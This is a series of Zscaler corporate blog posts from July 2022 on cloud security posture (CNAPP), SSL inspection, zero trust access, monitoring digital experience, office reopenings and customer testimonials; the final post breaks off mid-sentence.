Tue, 12 Jul 2022 05:00:01 -0700 Rich Johnson Best Practices for Reducing Public Cloud Security Risk with CNAPP Cloud security is currently addressed by a wide variety of security solutions. This patchwork approach creates problems for security teams as these tools are siloed, with each offering its own narrow, isolated view of a portion of the overall security posture. Without consistent security controls across development, deployment, and runtime, security teams are stuck attempting to prioritize across disparate vulnerability and misconfiguration findings, to name just a couple. This creates unnecessary friction between security and operations teams, which leads to security blind spots, and introduces complexity that slows teams down. Key concerns and challenges of securing the public cloud: Securing dynamic, complex environments According to Gartner, more than 80% of organizations use multiple clouds today. It is important to secure them to protect organizations from potential breaches. The complexity of multi-cloud environments and the need to coordinate across various stakeholders—from cloud operations and cloud architects to DevOps and traditional security teams—compounds security challenges. Prioritize remediation of true risk As the number of data breaches, vulnerabilities, and sophisticated attacks rises, it becomes difficult to identify the actual risks that pose the greatest threat to business. At a time when organizations of all sizes are challenged to keep security teams adequately staffed, being able to prioritize and remediate risk is more essential than ever, as there just isn’t enough time or resources to fix them all. Reactive, slow response to security incidents According to this IBM report, without automation, it takes an average of 228 days to identify a breach and 80 days to contain it, for a total of 308 days. As public cloud infrastructure and native services continue to expand and evolve, security resources to protect them remain limited. On top of that, having multiple solutions to secure the cloud leads to alert fatigue with hundreds of alerts received daily all with equal weight and importance. Moreover, expanding threat vectors and emerging attack strategies, vulnerabilities, and exploits—along with insiders capable of bypassing security measures—create a reliance on reactive security and can leave organizations exposed. Why cloud-native application protection platform (CNAPP)? Gartner has defined the cloud-native application protection platform (CNAPP) as “an integrated set of security and compliance capabilities designed to help secure and protect cloud-native applications across development and production.” CNAPP, by its nature, is consolidating many of the most important features from siloed point products into one single offering. The main capabilities are usually listed as IaC scanning, runtime protection, and cloud configuration. These tools can replace CSPM, CIEM, IaC scanning, vulnerability scanning, and more. With automated, powerful protection offered by CNAPP, organizations can ensure strong collaboration within teams with a single platform, address limited staff and knowledge gap issues, and reduce the complexity and cost due to point products. Most importantly it helps automate and implement security best practices with ease and secure cloud-native environments without disrupting development workflows. Let's explore how CNAPP can help to automate, enforce, and implement security best practices: Complete visibility and control Comprehensive visibility and control is imperative to secure the public cloud. Security, operations, and DevOps teams need the entire picture to mitigate risk and threats as early as possible. Given the dynamic and ephemeral nature of cloud and services, it can be difficult for teams to continuously monitor and track risks, especially in complex environments with high churn. Organizations need the right platform that can integrate seamlessly with cloud services and drive strong team collaboration, visibility, and control. CNAPP provides comprehensive visibility and insight into the metrics and controls needed to continuously monitor the environment without interfering with or distracting teams' respective workflow. Fig: Posture Control (Zscaler CNAPP solution) centralized dashboard for visibility and control Eliminate misconfigurations The greatest risk to the public cloud stems from misconfiguration. Gartner predicts that cloud misconfigurations will be the top root cause of successful cloud security breaches for a long time to come. Through the year 2025, 99% of cloud security issues will be the customer’s fault. Misconfigurations are common and can result in sensitive data and workloads being accidentally exposed to the internet, or provide an attack vector for malicious actors. Adherence to security best practices can secure the cloud from the common misconfiguration mistakes that leave data exposed, and provide entry points for attackers or ransomware attacks. CNAPP allows security teams to tightly integrate security into the cloud services, providing unified, comprehensive security across multi-cloud environments and control over cloud configurations and applications. CNAPP can easily identify misconfigurations by continuously scanning cloud environments and enforcing best practices to secure the cloud from misconfigurations. It also provides remediation recommendations and auto-remediation options for common misconfigurations to mitigate the risk caused by configuration errors. Enforce least privilege As digital transformation and cloud migration initiatives continue to accelerate security teams need to manage thousands of human and non-human identities and associated permission as these are the most common entry points for threats. Forrester estimates that at least 80% of data breaches have a connection to compromised privileged credentials, such as passwords, tokens, keys, and certificates. Organizations need a holistic, risk-based approach that secures these human and machine identities to protect applications, infrastructure, and data. CNAPP provides security teams with comprehensive permissions intelligence that can be used to precisely implement least-privileged access. Security teams get access to total context and visual topography of access to the resources, sensitive data, network connections, configurations, and more in a single dashboard which enables security teams to enforce stringent policies to protect permissions and access only where needed, without overwhelming the operations team or stifling development innovation. Fig: Posture Control identity and entitlement view dashboard Prioritize risks based on context A significant purpose of prioritizing risks is to form a basis for allocating and effectively managing limited resources to mitigate that risk. Prioritization risk can be challenging in complex, dynamic public cloud environments with limited staff, time-consuming data collation, and the overhead of managing multiple-point security solutions. A CNAPP spans multiple cloud platforms and natively integrates with developers and DevOps tools to correlate critical signals across several cloud services. It identifies hidden risks across the cloud-native lifecycle or attack paths and patterns caused by a combination of misconfigurations, threats, and vulnerabilities and prioritizes them based on the severity of business impact, rich context, and remediation guidance. Fig: Posture Control risk and threats correlation and prioritization dashboard Shift left security (Infrastructure as Code security) As Infrastructure as Code (IaC) usage grows across teams, the chances of configuration errors and other mistakes are higher, leading to amplification of security incidents. Developers have strong expertise in building applications, but their experience varies regarding provisioning, testing, and securing IaC usage. CNAPP helps to automate IaC security to detect potential security vulnerabilities in infrastructure code early and fix them before they go into production, to minimize risk and maintain cloud compliance. Overall, it helps to enforce IaC best practices, strengthen IaC security, and establish a strong collaboration among development, security, and compliance teams. Fig. Posture control IaC scan and risk detection Maintain continuous compliance Compliance is a continuous process in the cloud. With CNAPP, organizations can continuously review and monitor their compliance posture, and enforce compliance with pre-defined checks based on the industry standards and regulatory frameworks (e.g., CIS, NIST, HIPAA, PCI DSS), while automating time-consuming compliance processes. Organizations can easily address risks and non-compliance issues to meet regional and industry mandates as well as avoid financial risks like penalties and reputational damage. It can generate reports for compliance, security, and business leaders from a single dashboard. Fig: Posture Control compliance dashboard Conclusion Organizations continue to take advantage of cloud services for storage, virtual machines, containers, serverless functions, and more. This introduction of new cloud technologies has increased the potential for security weaknesses and vulnerabilities. CNAPP solutions like Posture Control can help automate enforcement of security best practices that unify security and decrease operational complexity across increasingly heterogeneous and sprawling public cloud environments. Through automation of the security best practices organizations can shift the culture of teams working in silos to continuous collaboration, improvement, and compliance from development through deployment into production. It can improve security without becoming a bottleneck to Dev and DevOps teams who rely on crucial cloud services to move the business forward. Talk to our experts or schedule a demo to discover how Posture Control can help reduce public cloud risk. Tue, 12 Jul 2022 08:00:02 -0700 Mahesh Nawale Zscaler Associates in India Return to Office Zscaler reopened offices in India on May 2, 2022, across multiple locations including Bangalore, Pune, and Mohali. After almost two years of working from home, associates returned to the office with great enthusiasm and met with colleagues and friends who they’ve only got a chance to see virtually. To add to the excitement, the Talent Branding team organized various activities to welcome the associates with pomp and gaiety. Associates were welcomed back to the office on a staggered schedule to enable a hybrid work culture while taking utmost precaution, as the safety and well-being of our associates remain our top priority. This event also coincided with a visit from Jay Chaudhry, Founder & CEO of Zscaler. He addressed the associates and spoke about growth plans and his future vision for Zscaler in India. Here are the details of activities that took place: A photo booth was set up and associates took pictures with their friends and teammates, preserving the memory of this day Associates participated in paint wall in which they printed their painted hands, marking attendance of return to office. A spread of delicious snacks was arranged and enjoyed by the associates with full vigor. Jay took part in a small tree plantation drive to showcase our commitment to developing a sustainable future and contributing to local communities. This step kicked off a PAN India plantation drive to take place across four cities, to mark the 15th anniversary of Zscaler. It was exciting to see associates coming together and participating in the return to office festivities. One of the associates was quoted saying, “it is amazing to be finally able to meet your favorite colleagues in person. The pandemic changed how we led our lives, but coming back to office is rejuvenating.” With tons of happy faces and the much-missed bustles of cubicles, it was wonderful to welcome our employees back. Mon, 11 Jul 2022 14:00:01 -0700 Mehak Mehta Why Network Monitoring Tools Fail Within Secure Environments There is a fundamental shift happening through digital transformation, which includes application transformation (data center to SaaS, IaaS, PaaS), network transformation (hub-and-spoke to direct connectivity), and security transformation (castle-and-moat to zero trust). As these shifts occur, network operations teams should consider a lens from the end user perspective to holistically visualize network traffic patterns. However, monitoring performance of private applications over a Virtual Private Network (VPN) is challenging. These encrypted tunnels typically block monitoring tools from providing insights when users complain (packet loss, high latencies, etc.). In order to understand why network monitoring tools fail within a secure environment, we must first look at how users connect. As employees continue to operate in a hybrid model, there are three common scenarios end users experience, all which pose challenges for network operations teams. Scenario 1: Direct connect to SaaS applications The most basic scenario is when an end user connects directly to SaaS applications from a remote location (home/hotel). The traffic routes to a home wireless router which forwards packets to an Internet Service Provider (ISP) and connects to the SaaS application. In this scenario traffic is not secured, which leaves the end user vulnerable to attacks. Challenge: Network operations team don’t own the connectivity between the end user's device and SaaS application, which makes it difficult to troubleshoot. In some cases, organizations will backhaul this traffic through a VPN before passing it to the application, which typically introduces latencies and causes poor end user experience. Additionally, as mentioned above, this traffic is encrypted and creates blindspots for monitoring tools. Scenario 2: Secure SaaS applications In this scenario, the end user again connects to their remote network (home/hotel), however, traffic is now forwarded to a security solution which inspects the traffic, and connects to the SaaS application. Challenge: Network operations teams must utilize multiple tools to gain insights from end user devices, SaaS applications, and security solutions. This lack of end-to-end visibility from a single pane of glass into digital experiences forces IT teams into reactive troubleshooting versus proactively identifying and resolving issues. Scenario 3: Secure SaaS and private applications In this scenario, SaaS applications and private applications are both secured. Traffic from the end user device starts the same as the first two scenarios, but adds an additional route for private applications (hosted on-premises or in a public cloud). Challenge: This scenario is complex when troubleshooting as network operations teams must diagnose several fragmented networks to piece together an end user's traffic to an application. This is time consuming, creates cumbersome processes, and requires network expertise to correlate data across multiple monitoring solutions. Additionally, with many security solutions, network operations teams tend to lose visibility into what happens with the traffic as it passes through security solutions, causing major blind spots for these teams. This seems to be the case any time traffic is sent over an encrypted network. Zscaler’s end-to-end digital experience monitoring solution Digital Transformation is a journey but when you have a strategy, you must consider the end user and the impact to their overall performance. It’s good practice to consider the possible scenarios from your end users perspective. What’s required is a solution that provides visibility from the end user's device to any app to any location, without adding bloat to your network or end user’s device. With Zscaler Digital Experience (ZDX), organizations can now fully monitor the cloud application experience from the end-user perspective. ZDX restores visibility across the complete connection and quickly isolates user experience issues. ZDX delivers holistic, end-to-end user experience monitoring across any network, helping network operation teams streamline troubleshooting and improve user productivity across secure environments. ZDX dashboard with detailed hop-by-hop analysis showing ISP latencies For example, network operations teams need quick insight into potential areas of focus, so triaging issues is fast and painless. Many times the remote worker’s issue tends to be within their local environment, but it doesn’t mean it’s an issue at their physical location. Have you ever tried to Google “troubleshoot slow internet connection?” The results point to the home router. However, that doesn’t provide a holistic view of the situation. Not all search responses yield the correct course of action Take Careem as an example, a Dubai-based transportation, delivery, services, and payments organization faced a similar issue. Once they adopted ZDX, they quickly found their remote customer service representatives had issues with their local ISP (home Internet connection), which is beyond the home router. This means that if the IT team spent time troubleshooting the home router, it could take them hours or worse days before they actually found the issue. In some cases the issues actually resolve prior to the IT team solving it, which makes it difficult to find the root cause. Instead Careem leveraged ZDX, which provided the insights required to solve the end users problems, while empowering the IT team. “Using ZDX we’ve improved our troubleshooting time by 62%, enabling us to quickly focus attention on the source of a user’s connectivity issue.” – Peeyush Patel CIO and CISO Careem Careem’s business model includes supporting a virtual, high-touch, live customer service call center. ZDX not only provides insights into end user environments, it extends that into the Zscaler Zero Trust Exchange, the platform on which all Zscaler services are built. With ZDX, network operations teams get insights into Zscaler Internet Access (ZIA), which secures traffic to SaaS applications to ensure they are not causing any network congestion or excessive latencies. ZDX also supports Zscaler’s Private Access (ZPA), which protects private application traffic. Attackers lack the visibility into the private application, while ZDX turns the lights on. To do this, ZDX utilizes a feature called CloudPath to provide hop-by-hop network path analysis. It breaks down network latencies into segments in easy to read visual format. CloudPath works in conjunction with Zscaler’s Client Connector and Zero Trust Exchange to measure performance to the application. Whether the traffic is traversing the Zscaler cloud to a SaaS application or private application, ZDX provides complete visibility (even with the App Connector hop). ZDX provides complete end-to-end visibility for private applications Network operations teams benefit from a centralized dashboard with all relevant telemetry data to troubleshoot and resolve user experience issues with both public and private applications. As you embark on your digital transformation journey to a secure world, consider how you plan to ensure a great end-user experience. Learn more about ZDX here. Mon, 11 Jul 2022 13:00:02 -0700 Rohit Goyal The Top Three Elements to Look for in a Cybersecurity Partner As a recognized brand leader of valves, fittings, and flow-control products, NIBCO’s bread and butter is in manufacturing. We have over a century of experience in a family-run business and have entrenched core values of safety, integrity, teamwork, improvement, and philanthropy at the heart of what we do. Finding partners to guide us through our digital transformation journey means that we look for excellence in IT knowledge and expertise, but we also seek to work with partners who understand our culture and can make a real difference to our in-house capabilities. Our journey to zero trust with the Zscaler Zero Trust Exchange provided us with the expertise to leverage the technology we already owned but also to build upon it to deliver a comprehensive approach to cybersecurity that fits within our organizational culture. There are three key elements that Zscaler has excelled in since the beginning of our partnership. 1. Understanding our users’ needs Cybersecurity is an issue that no company, no matter their culture, can afford to ignore. For us, it was important to ensure that any shift in security strategy did not affect the productivity of associates by making them feel restricted in their ability to access data, information, or applications. NIBCO worked closely with Zscaler to find a balance between a new world where we have shifted to work-from-anywhere, determining the core requirements for our associates, and delivering it within the parameters of zero trust security. Zscaler Internet Access (ZIA) provided associates with direct, fast, and secure connectivity to the internet and SaaS applications via the cloud. The team was also sensitive to our core values. For example, when salespeople are traveling, they may need access to websites and cloud services for personal use, but the same functionality wouldn’t be needed in a customer service department or on a manufacturing floor. Using Zscaler Private Access (ZPA), NIBCO is able to restrict access as necessary to ensure data and assets are kept safe, without affecting the user experience 2. Delivers total confidence For NIBCO, total confidence in the Zscaler Zero Trust Exchange and the advice and recommendations received has been the secret sauce of our success. It’s vital to trust your cybersecurity partner implicitly – trust is a big thing. Being able to close your laptop for the evening, walk away from it, and know that you’re protected has allowed us to focus on what we do best, knowing that Zscaler has it under control. Having reassurance in the technologies, as well as a roadmap ahead, in terms of how Zscaler can adapt to changes in the threat landscape, also means we’re keen to hear about new products and are willing to adopt them as they come along. Cybersecurity used to keep me awake at night, but now I trust that the Zscaler Zero Trust Exchange will do its job of protecting us. I consider any new threats daily and look at the risk footprint, but fundamentally knowing that you have the best technology running in your environment and the best people behind it to support you is completely invaluable. 3. Access to an irreplaceable breadth of expertise It’s not an overstatement to say if we had to achieve the same success working with an in-house team alone, we couldn’t afford to deliver the same bench strength needed to research and develop the tools and technologies required to do the job. It simply wouldn’t be feasible, and we’d be spending millions of dollars versus what we’re spending today. NIBCO is a mid-sized organization with a wide global footprint across the USA, Mexico, China, and Poland. By having the Zscaler Zero Trust Exchange in place, we're able to leverage top-level security solutions, with best-in-class technology. NIBCO has maintained a lean, dedicated internal IT team, but with Zscaler, it doesn’t take a gigantic IT organization to manage, implement, and keep it running. To learn more, I invite you to read the accompanying case study that details how our zero trust journey in partnership with Zscaler is helping us achieve our business goals. Fri, 08 Jul 2022 08:00:01 -0700 Cody Huffines The Zscaler Data Protection Tour: Controlling the Use of Shadow IT In this blog series, we are taking readers on a tour of the numerous challenges to enterprise data security. As we do so, we detail the ins and outs of each subject, explain why they all matter when it comes to keeping sensitive information safe, and share how your organization can thoroughly and easily address each use case with Zscaler technologies—such as cloud access security broker (CASB), data loss prevention (DLP), and more. In each part of this series, a quick video will accomplish the above while presenting a brief demo in the Zscaler user interface to show how you can secure your data. Prior topics include risky file sharing, SaaS misconfigurations, noncorporate SaaS tenants, sensitive data leakage, reducing DLP false positives, securing key documents, notifying users of DLP policy violations, securing unmanaged devices, and protecting data in image files. To see demos for all of these subjects in one place, check out this page on our website. This blog post’s topic is: Controlling the use of unsanctioned applications Unsanctioned SaaS apps (also known as shadow IT) are an important data leakage avenue to secure. Employees regularly access such apps and upload sensitive corporate information to them without IT’s approval. Naturally, this activity can enable not just data leakage and breaches, but regulatory noncompliance, harm to data subjects, and, as a result, a loss of brand reputation and revenue. A prior blog discussed the importance (and proper method) of discovering shadow IT, but visibility alone is not enough. As such, Zscaler also delivers highly granular shadow IT control. With customizable cloud app risk profiles, admins can control the use of any apps that meet criteria of their choice, rather than responding in a one-off fashion to individual apps or preset categories of similar apps (although Zscaler can do that, as well). Multiple remediation options are available. To learn more about shadow IT control with Zscaler, watch the video below. Zscaler’s integrated, multi-mode CASB can address all of your cloud security use cases. To see how, check out our other demos on out-of-band CASB, exact data match, SSPM, and much more. Or, download our Top CASB Use Cases ebook. Thu, 07 Jul 2022 08:00:01 -0700 Jacob Serpa SSL Inspection Comes with Great Responsibility Introduction The SSL/TLS protocol was designed to secure the communication (confidentiality and authenticity) between only two parties. However, the continuous abuse of the same standards that were used to protect user privacy (instrumental in scaling the internet to where it is today) by bad actors, has created a de-facto need to add a 3rd party to the mix - a trusted inline SSL inspection service. SSL inspection is also known as ‘Trusted’ MITM (man-in-the-middle) and SSL proxy While the introduction of a trusted 3rd party is vital for security, it also inherently introduces risk. With great power comes great responsibility To earn the trust of our customers, we have to not only assume the responsibility of acknowledging and enumerating the risk factors, but also ensure that we deliver a superior product that mitigates the risks. This blog post will describe the following key pillars of a superior SSL inspection solution that maximizes your security posture while minimizing risk and ensuring great user experience: But, first, it is important to understand the mechanics of the SSL inspection process. SSL inspection workflow The ZIA Service Edge proxies the TLS connection by assuming the role of a TLS server to the TLS client (end-user application) and of a TLS client facing the destination TLS server. The service completes a server-side SSL handshake with the server, agreeing on a symmetric session key used to encrypt/decrypt the traffic on the server-side and validating the server’s certificate, similar to what your browser would do. Further, the service generates a domain certificate that looks like the original certificate, but is signed using the Zscaler intermediate CA or a customer intermediate CA private key. The service then sends the certificate to the client for validation and completes a client-side handshake, agreeing on a different symmetric session key used to encrypt/decrypt the traffic from on the client side. Pillar 1: The right architecture for scale Your SSL inspection solution has to scale to decrypt 100% of traffic at line rate. No compromises here. Line rate is critical to ensure great user experience and 100% is key to avoid blind spots. This is where capacity-constrained legacy NGFW appliance vendors suffer the most and compromise either on coverage or on user experience. To illustrate their struggle, it’s not uncommon to see legacy NGFW vendors publish deployment best practices for decrypting only “high risk” URL categories, while trusting the others: This is not only ironic (How is that for zero trust?), but also risky (literally). This advice puts a customer in a dystopian scenario where risk is unchecked, unmanaged and unmitigated. Zscaler is observing malware payloads across all URL categories, even those considered low/medium risk by the NGFW vendors: The only way to achieve true scale is through a multi-tenant purpose-built SSE solution with custom-built SSL-accelerated hardware. Pillar 2: Easy-to-use While in an ideal world, you would just flip an SSL switch and everything would automagically work, in reality, risks due to various privacy regulations/work councils and incompatible applications/devices need to be managed for a successful roll out. The single most important capability-set here is a robust rule-based SSL inspection that allows you to pick and choose which traffic gets inspected and which traffic gets exempted, based on a multitude of factors pertaining to the source and destination: Zscaler’s rule-based engine, supporting over a dozen criteria, lets your creative juices flow. Just to name a few common examples: Managing SSL inspection levels based on varying data privacy regulations Managing SSL inspection levels based on the device and OS type Managing SSL inspection for applications based on user agent context (native application vis-a-vis browser) Excluding IoT device traffic from SSL inspection Selectively decrypting certain O365 applications Thanks to the Zscaler Client Connector, all traffic originating from a managed device (decrypted or undecrypted) can be attributed not only to a specific user/group, but also to a specific device and OS type. This ensures consistent user-based policy enforcement and an ability to distinguish between managed and unmanaged devices for smart policies, such as exempting IoT traffic. Pillar 3: Secure decryption When opening up encrypted traffic, it is vital that the security of the end-to-end connection is not degraded and that all sensitive cryptographic key material is safely handled according to industry best practices. Pillar 3a: Optimized ciphersuite and TLS version selection This tends to be overlooked due to the complex nature of ciphersuite variants. The SSL inspection solution must guarantee that ciphersuite strength is equivalent or even stronger than that would have been negotiated without SSL inspection. For example, if a client proposes a perfect forward secret ciphersuite (e.g. ECDHE_RSA_WITH_AES_256_CBC_SHA384), the SSL proxy needs to prefer it over weaker static RSA ciphers. Zscaler’s design principle is to make this as simple and secure as possible - we always prefer the strongest ciphersuite that the client advertises and always propose a strength-prioritized list of ciphersuites to the server despite the added cryptography compute overhead. The following chart illustrates this principle nicely through the Zscaler TLS 1.3 acceleration hardware upgrade that was completed more than a year ago. Once we flipped the switch, we observed, overnight, a major difference in TLS version negotiation both on the client side and server side. Such a significant upgrade was a no-event for a customer. Imagine that you had to manually upgrade hardware, OS, drivers on your legacy NGFW appliances to get through this. Pillar 3b: Key Material Safeguarding Zscaler offers two intermediate CA enrollment models: bring-your-own CA and Zscaler’s default root/intermediate CA. In the former, Zscaler acts as a key custodian on behalf of a customer and assumes responsibility to protect it. While the widespread adoption of PFS (perfect forward secrecy) ciphers has mitigated the risk of passive eavesdropping, an active MITM attack is still possible. An issuing CA private key is like a key to the kingdom. If a bad actor gets hold of a private key, they can issue arbitrary forged certificates for trusted domains. In combination with DNS poisoning the bad actors can launch MITM attacks using certificates that appear trusted to the client. To mitigate this risk, Zscaler employs a robust array of key material safeguarding techniques - from short-lived keys, revocation endpoints, to stringent production access and audit along with other compensatory management, operational and technical safeguards. The highlighted CA below (t stands for temp), showcases Zscaler’s short-lived issuing CA that is automatically rotated on a weekly basis, significantly minimizing potential attack windows. To further advance key protection even for the most highly regulated and security stringent organizations, Zscaler has recently launched in public preview a first-of-its-kind fully turnkey Cloud HSM (FIPS 140-2 Level 3 validated) solution for safeguarding our customers’ issuing CA private keys - the industry gold standard for key protection. In the fully integrated solution, the CA private key will reside for its entire lifetime inside the Cloud HSM and be used dynamically to sign domain certificates: Stay tuned for more information. Pillar 4: Design for Privacy Opening up an SSL connection that was supposed to preserve user privacy inherently introduces risk to user privacy. The right architecture mitigates this risk. Security and privacy are at the core of Zscaler’s architecture. Our fundamental principle is that we should minimize the data sets that are collected, and secure them across the whole lifecycle - in-use, in-motion and at-rest. Details on the controls are illustrated in this image: Don’t just take our word for it, all our information security controls are validated by independent 3rd party assessors against all the leading compliance/data privacy frameworks, including DOD IL5 (the US department of defense highest standard for cloud vendors). Zscaler also undergoes an independent Sensitive Data Handling Assessment that verifies documented encryption controls and client key management, while also validating that any stored key information is unexploitable through an examination of activity logs, core dump files and database schemas. To learn more visit here. Pillar 5: Visibility Comprehensive operational visibility is vital for both establishing trust and addressing several key questions: What is your SSL inspection coverage? Are there any user experience problems due to incompatible apps? Are you observing any obsolete TLS versions? Are you using the most secure ciphers? What value are we getting from the SSL inspection (i.e. threats, DLP incidents)? The foundation to address these questions starts from the raw log data. A robust logging plane capable of capturing high-fidelity and context-rich transaction level logs at scale (not aggregate level that other vendors may resort to due to architectural deficiencies) is imperative. Zscaler’s Nanologs capture 18+ unique TLS log fields for each TLS connection (decrypted, undecrypted, and failed) as seen here: Once you have the basics in place, answering the operational and value questions is straightforward. Example 1: Failed client SSL handshake logs proactively surface misbehaving clients: Example 2: Zscaler’s QBR reports recommend which categories should be inspected Conclusion SSL inspection is a crucial capability to protect users and corporate data, but since the original protocol was not designed to be inspected by a trusted 3rd party, it also introduces risk. Zscaler acknowledges and mitigates these risks through its purpose-built cloud-native SSE platform following 5 fundamental principles. Given that over 90% of Internet traffic is encrypted today, and malicious actors that include insider threats have leveraged the privacy provided by SSL to disseminate malware and exfiltrate data, inspecting this traffic becomes critical for preventing compromise and data loss, along with improving our survivability in the current threat landscape. While there are risks associated with performing SSL inspection, Zscaler has implemented controls, as outlined in this article, that has made this an acceptable level of risk for over 6,000 global customers. Risk-taking is fundamental to business. Without it, no business value would be created. Wed, 06 Jul 2022 14:39:02 -0700 Lidor Pergament Zero Trust Application & Workloads Pillar: An App-by-App Approach to Security This blog is the third in a series examining how Zscaler supports the move to zero trust as defined by CISA. In a zero trust model, the application is the focus of all security efforts. If you can secure the application you can, by proxy, secure the data it uses. Zero trust aims to secure application access, independent of the network. The Federal Zero Trust Strategy advises that “agencies treat all applications as internet-connected, routinely subject their applications to rigorous empirical testing, and welcome external vulnerability reports.” Enabling secure access to applications via the internet means that users may never need to access the network to get at the applications they need to complete their work, removing thousands of attack vectors from enterprise networks. Using identity and policy to ensure that only authorized users can connect to authorized applications is only part of the zero trust solution. Zero trust means doing this in a way that eliminates the potential for lateral movement. Zscaler's combination of app-specific authorization and outbound-only connections provides an unprecedented level of invisibility to attackers while providing a new level of visibility for administrators. Say goodbye to VPN The Federal Zero Trust Strategy is pretty explicit in its direction to move away from the use of Virtual Private Networks (VPNs). While this is a huge shift for how users remotely access work systems, it is not an unwelcome one. VPNs are cumbersome for end users and administrators alike, and they inherently open up attack surfaces due to the exposed inbound listener required for remote endpoints to connect. Similarly, by allowing users onto the network to access even just one application, you are giving them visibility (and potentially access) to everything else on the network. A zero trust approach limits the amount of information an attacker can collect. If an attacker cannot learn anything, you interrupt their mission at reconnaissance. Making private applications “dark” to unauthorized users means there is no ability to scan for resources beyond the application being accessed. Because access is enabled via outbound-only, the connectivity infrastructure, as well as the applications, are never exposed to the internet. This approach to application delivery improves performance as well as security. The path for accessing applications is dynamically evaluated to deliver the best performance for each individual user-to-application connection. Application segmentation, not network segmentation Network segmentation is difficult. It generally involves a number of network and security controls coordinated across a broad and heterogenous environment, which leads to complexity and inconsistent protection. Microsegmentation is focused on prevention of unauthorized lateral movement and application segmentation is focused on user access. With zero trust both of these needs can be addressed simultaneously. Utilizing Zscaler Private Access (ZPA), admins can have the granular control to decide who can access what, even down to the individual service level, without the complexity of network segmentation. The principles of zero trust for user access also extend to workloads that need to communicate outside of the network or workloads in different clouds. Using dynamic, encrypted data-plane tunnels, these workloads can interact where they need to without exposing any other data or systems. Application segmentation with zero trust allows for another layer of security with the addition of behavior context. For example, say there is a file server. An employee with rights to that server can access it freely when on an organization-managed device. That same employee coming in via their personal device may have read-only access, or no access at all. Administrators are the only people granted the ability to manage the file server itself. This user-to-application granularity is only possible when application access is controlled independent of the network. Making app management more manageable The type of granularity involved in zero trust makes it a very policy-heavy practice. Most organizations do not have the knowledge to build these policies. Zscaler helps organizations build a database of applications and user activity metadata, so you can review the actual traffic to inform policies. This is not scanning or probing; it is visibility into actual traffic, providing the context critical for aligning access policy with enterprise needs. For admins, zero trust lightens the burdens of managing an ever-growing suite of applications needed by users. Zscaler's cloud-delivered zero trust security enables granular, consistent control of access to applications across disparate data center and cloud environments, by workloads as well as users. Explore more: Zscaler Private Access Zscaler Internet Access Realizing The Federal Zero Trust Maturity Model Zero Trust Network Pillar: Evolving How We Use the Network Wed, 06 Jul 2022 08:00:01 -0700 Lisa Lorenzin 6 Lessons Learned for Businesses Looking to Modernize Security and Business Our business has come a long way since its humble beginnings in a tent and bingo hall in 1985. Today, Cache Creek Casino Resort is a premier Northern California casino-resort destination with world-class gaming, a highly rated hotel, nine restaurants, a 700-seat entertainment venue, and championship golf course. But to stay in business and thrive, we still need to keep improving and modernizing our business processes and customer offerings. Modernizing cybersecurity and business go hand in hand. For us, the COVID-19 pandemic and a cyberattack that shut down operations catapulted security to the top of our modernization priority list. Overhauling remote access became especially critical as employees working off-site had to use extremely cumbersome, hardened laptops that crippled productivity. To transform secure remote access, we wanted to leapfrog VPN technology, which opens the whole network to employees and has its own useability and administrative challenges. So, we turned instead to the Zscaler Zero Trust Exchange platform, including Zscaler Private Access (ZPA) and Zscaler Internet Access (ZIA). By implementing the Zero Trust Exchange, we modernized key aspects of security and fast-tracked business modernization. Below are a few lessons we learned along the way as we went from searching for a better remote access solution to embarking on a zero trust transformation. 1. Large enterprises and security teams aren’t the only ones who benefit from zero trust Cache Creek Casino Resort has less than 800 employees, but the move toward a zero trust approach made sense even for a company of our size. The cloud and work-from-anywhere mobility have become requisites we need to embrace; the traditional security model is simply no longer adequate. As at larger companies, protecting our organization from breaches and malicious cyberattacks is at the core of everything my group does. Taking a zero trust approach improves our ability to protect our data, applications, and employees. With ZPA, for instance, our users now connect directly to applications—versus the network—shrinking our attack surface exponentially and preventing lateral movement. With the Zero Trust Exchange, we bolstered our security posture significantly, (see our case study), while reducing infrastructure costs and simplifying operations. But security isn’t the only area in which we’ve benefited. Other positive business and workplace outcomes include: Improved productivity. With a far superior user experience, our employees and contractors save a lot of time and hassle and can collaborate much more easily. They also have consistent, easy access to the applications and resources they need, no matter where they are or whether they use their laptop, tablet, or phone. Peace of mind. With least-privileged access and the added threat protection of the Zscaler Zero Trust Exchange, our business and IT leaders, cybersecurity teams, and end users sleep easier. Accelerated digital transformation. With renewed confidence in our security, we can speed up our business’ digital transformation and be more agile, efficient, and resilient. Better work-life balance. Located on the Yocha Dehe Wintun Nation tribal lands, the resort is 30 minutes from the nearest population center. For the many employees who travel more than an hour each way, working with ease from home frees up more than two hours each day. 2. Zero trust access helps you hire the right talent To keep improving our business, we need to hire the right people. Since the resort is off the beaten track, employees have traditionally hailed from a 60-mile radius, much of which is unpopulated. These are terrific, loyal people whose tenure at the company averages 15 years, but we knew we could use an infusion of new and different ideas. We also needed to build out previously understaffed groups, such as IT and marketing. With the Zero Trust Exchange, we now have the confidence that we can provide a secure on-prem experience to employees no matter where they are located. This capability has empowered us to offer hybrid and work-from-anywhere (WFA) positions, and, as a result, we have dramatically expanded our talent pool. Consequently, IT and marketing are now on their way to growing 60%. Recently, we hired a critical IT position that will be based in another state. We simply couldn’t have done that before. The ability to work with modern technologies such as the Zscaler platform also helps attract a higher caliber of IT and cybersecurity candidates. 3. As with any technology, ease of deployment and integrations matter We’ve got a small IT-cybersecurity team, so efficiency is especially critical for us, but every security team can benefit from doing more with less. The more we can consolidate and simplify our overall architecture, the better. That means looking for solutions that play nice with existing tools, don’t require a lot of customization, are easy to deploy and use, and make it easy to add functionality later. When evaluating zero trust solutions, take the time to understand exactly what’s involved to integrate with your existing tools, such as multi-factor authentication and IdP. One reason we went with the Zscaler Zero Trust Exchange is because the platform includes pre-built integrations with a wide range of our tools, including our MFA, single sign-on, and CrowdStrike. With any other product, we would have to do a lot more work, up front as well as in the future. With the runner-up vendor, for instance, a ton of customization would have been required out of the gate. Besides the additional hassle and expense, we were concerned that any new future product releases would require customized updates that would force us to delay upgrades or concede features or functionality. Ease of deployment also led us to the Zero Trust Exchange. In one day, we rolled out both Zscaler Private Access for ZTNA and Zscaler Internet Access as a secure Internet onramp for our users. We continue to tweak access policy, since finding the right balance between leniency and restriction takes time, but deployment of the common agent for both solutions was fast and straightforward. 4. Establish a zero trust foundation that lets you grow easily at your pace You’re not going to modernize security or complete a digital transformation overnight. If you’re at all like us, you can’t just move off-prem cold turkey. You need to start with a few specific use cases and add others gradually. So, it makes sense to go with a vendor that has a holistic approach to zero trust, one that makes it easier to add functionality when you are ready. As we move more of our on-prem services to the cloud and use more SaaS apps, our next addition to the Zero Trust Exchange will most likely be its CASB solution. When ready, we can enhance our security service edge (SSE) functionality by expanding the Zero 